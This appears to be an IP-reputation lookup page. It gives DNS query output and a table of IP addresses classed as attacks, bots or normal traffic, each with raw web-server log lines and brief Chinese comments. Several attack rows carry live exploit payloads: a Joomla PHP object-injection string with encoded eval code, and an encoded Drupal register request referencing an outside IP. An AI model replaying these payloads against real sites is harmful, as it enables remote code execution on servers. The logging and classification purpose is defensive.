City: unknown
Region: unknown
Country: China
Internet Service Provider: unknown
Hostname: unknown
Organization: unknown
Usage Type: unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 114.93.178.154
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 34538
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;114.93.178.154. IN A
;; AUTHORITY SECTION:
. 233 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022030800 1800 900 604800 86400
;; Query time: 74 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Mar 08 19:54:24 CST 2022
;; MSG SIZE rcvd: 107Host 154.178.93.114.in-addr.arpa. not found: 3(NXDOMAIN)Server: 183.60.83.19
Address: 183.60.83.19#53
** server can't find 154.178.93.114.in-addr.arpa: NXDOMAIN| IP | Type | Details | Datetime |
|---|---|---|---|
| 104.152.52.67 | attack | 104.152.52.67 - - [15/May/2019:13:48:53 +0800] "OPTIONS sip:nm SIP/2.0" 400 182 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:53 +0800] "OPTIONS / HTTP/1.0" 200 0 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:53 +0800] "TNMP\\x04\\x00\\x00\\x00TNME\\x00\\x00\\x04\\x00" 400 182 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:54 +0800] "\\x03\\x00\\x00\\x0B\\x06\\xE0\\x00\\x00\\x00\\x00\\x00" 400 182 "-" "-" 104.152.52.67 - - [15/May/2019:13:48:54 +0800] "DmdT\\x00\\x00\\x00\\x17\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x11\\x11\\x00\\xFF\\x01\\xFF\\x13" 400 182 "-" "-" |
2019-05-15 13:55:51 |
| 38.143.68.212 | attack | H |
2019-05-04 08:45:16 |
| 71.6.158.166 | botsattack | 71.6.158.166 - - [05/May/2019:06:08:15 +0800] "" 400 0 "-" "-" 71.6.158.166 - - [05/May/2019:06:08:17 +0800] "" 400 0 "-" "-" 71.6.158.166 - - [05/May/2019:06:08:17 +0800] "" 400 0 "-" "-" 71.6.158.166 - - [05/May/2019:06:08:19 +0800] "" 400 0 "-" "-" 71.6.158.166 - - [05/May/2019:06:08:23 +0800] "quit" 400 182 "-" "-" 71.6.158.166 - - [05/May/2019:06:08:23 +0800] "GET /robots.txt HTTP/1.1" 200 472 "-" "-" 71.6.158.166 - - [05/May/2019:06:08:27 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 232 "-" "-" 71.6.158.166 - - [05/May/2019:06:08:27 +0800] "GET /sitemap.xml HTTP/1.1" 499 0 "-" "-" 71.6.158.166 - - [05/May/2019:06:08:28 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "python-requests/2.10.0" 71.6.158.166 - - [05/May/2019:06:08:28 +0800] "" 400 0 "-" "-" |
2019-05-05 06:09:11 |
| 54.221.53.134 | spambots | 利用ua字段进行推广的嫌疑 54.221.53.134 - - [15/May/2019:14:13:22 +0800] "GET /check-ip/190.81.186.114 HTTP/1.1" 200 10363 "-" "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" 34.207.74.88 - - [15/May/2019:14:13:23 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "Slackbot 1.0 (+https://api.slack.com/robots)" |
2019-05-15 14:16:00 |
| 94.23.145.174 | botsattack | 94.23.145.174 - - [15/May/2019:22:07:23 +0800] "GET /bitrix/admin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" 94.23.145.174 - - [15/May/2019:22:07:35 +0800] "GET /admin/ HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" 94.23.145.174 - - [15/May/2019:22:07:37 +0800] "GET /user/ HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" |
2019-05-15 22:08:53 |
| 45.114.10.12 | attack | 45.114.10.12 - - [06/May/2019:21:45:27 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD"
45.114.10.12 - - [06/May/2019:21:45:27 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD" |
2019-05-06 21:47:27 |
| 218.161.75.200 | attack | 218.161.75.200 - - [05/May/2019:12:03:42 +0800] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6http://118.25.52.138/ HTTP/1.1" 301 194 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
218.161.75.200 - - [05/May/2019:12:03:42 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD" |
2019-05-05 12:04:53 |
| 118.163.196.1 | attack | phpmyadmin db攻击 |
2019-05-09 20:13:46 |
| 154.73.11.16 | botsattack | 154.73.11.16 - - [19/May/2019:11:34:33 +0800] "GET /check-ip/66.102.7.131 HTTP/1.1" 200 10208 "https://ipinfo.asytech.cn/" "Scope (Mars+)" 154.73.11.16 - - [19/May/2019:11:34:33 +0800] "GET /check-ip/54.221.53.134 HTTP/1.1" 200 10843 "https://ipinfo.asytech.cn/" "AmigaVoyager/3.4.4 (MorphOS/PPC native)" 154.73.11.16 - - [19/May/2019:11:34:33 +0800] "GET /check-ip/52.4.236.226 HTTP/1.1" 200 10342 "https://ipinfo.asytech.cn/" "Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1" 154.73.11.16 - - [19/May/2019:11:34:33 +0800] "GET /check-ip/47.76.186.208 HTTP/1.1" 200 10118 "https://ipinfo.asytech.cn/" "UPG1 UP/4.0 (compatible; Blazer 1.0)" 154.73.11.16 - - [19/May/2019:11:34:33 +0800] "GET /check-ip/98.152.56.135 HTTP/1.1" 200 9694 "https://ipinfo.asytech.cn/" "Lynx/2.6 libwww-FM/2.14" 154.73.11.16 - - [19/May/2019:11:34:33 +0800] "GET /check-ip/38.164.28.153 HTTP/1.1" 200 10459 "https://ipinfo.asytech.cn/" "SBL-BOT (http://sbl.net)" 154.73.11.16 - - [19/May/2019:11:34:33 +0800] "GET /check-ip/38.143.68.212 HTTP/1.1" 200 10732 "https://ipinfo.asytech.cn/" "West Wind Internet Protocols 4.xx" |
2019-05-20 09:15:30 |
| 3.92.45.174 | bots | 应该是adsense合作的一个广告商 3.92.45.174 - - [10/May/2019:08:19:00 +0800] "GET /ads.txt HTTP/1.1" 301 194 "-" "Jersey/2.25.1 (HttpUrlConnection 1.8.0_141)" 3.92.45.174 - - [10/May/2019:08:19:05 +0800] "GET /ads.txt HTTP/1.1" 404 232 "-" "Jersey/2.25.1 (HttpUrlConnection 1.8.0_141)" |
2019-05-10 08:20:35 |
| 95.105.40.162 | normal | yandex的一个转换服务 95.105.40.162 - - [17/May/2019:17:16:42 +0800] "GET /check-ip/2804:14d:5a83:449f:5ab:f26:15e4:e7ce HTTP/1.1" 200 7986 "https://iframe-toloka.com/" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 YaBrowser/19.3.2.176 Yowser/2.5 Safari/537.36" |
2019-05-17 17:21:58 |
| 23.237.122.122 | bots | 23.237.122.122 - - [17/May/2019:17:37:28 +0800] "GET /check-ip/47.253.193.179 HTTP/1.1" 200 9984 "-" "Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8" 23.237.122.122 - - [17/May/2019:17:37:28 +0800] "GET /check-ip/69.161.117.253 HTTP/1.1" 200 10479 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre" 23.237.122.122 - - [17/May/2019:17:37:29 +0800] "GET /check-ip/15.174.189.211 HTTP/1.1" 200 9934 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre" 23.237.122.122 - - [17/May/2019:17:37:29 +0800] "GET /check-ip/8.161.48.175 HTTP/1.1" 200 11252 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1" |
2019-05-17 17:38:11 |
| 104.238.37.208 | bots | 爬虫 |
2019-05-12 17:48:32 |
| 103.131.71.149 | bots | 越南的CocCoc搜索引擎，如果不想在越南发展商务，可以禁用 103.131.71.149 - - [14/May/2019:11:31:44 +0800] "GET /robots.txt HTTP/1.1" 301 194 "-" "Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)" 103.131.71.149 - - [14/May/2019:11:31:45 +0800] "GET /robots.txt HTTP/1.1" 200 634 "-" "Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)" 103.131.71.156 - - [14/May/2019:11:31:48 +0800] "GET /check-ip/27.72.74.143 HTTP/1.1" 200 9435 "-" "Mozilla/5.0 (compatible; coccocbot-web/1.0; +http://help.coccoc.com/searchengine)" |
2019-05-14 11:34:43 |
| 142.44.176.72 | bots | 142.44.176.72 - - [16/May/2019:15:23:15 +0800] "GET /check-ip/96.210.100.188 HTTP/1.1" 200 10022 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)" 142.44.176.72 - - [16/May/2019:15:23:33 +0800] "GET /check-ip/96.210.100.188 HTTP/1.1" 200 10371 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre" 142.44.176.72 - - [16/May/2019:15:23:47 +0800] "GET /check-ip/96.210.100.188 HTTP/1.1" 200 10111 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0" 142.44.176.72 - - [16/May/2019:15:23:58 +0800] "GET /check-ip/96.210.100.188 HTTP/1.1" 200 10460 "-" "Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0" |
2019-05-16 15:25:51 |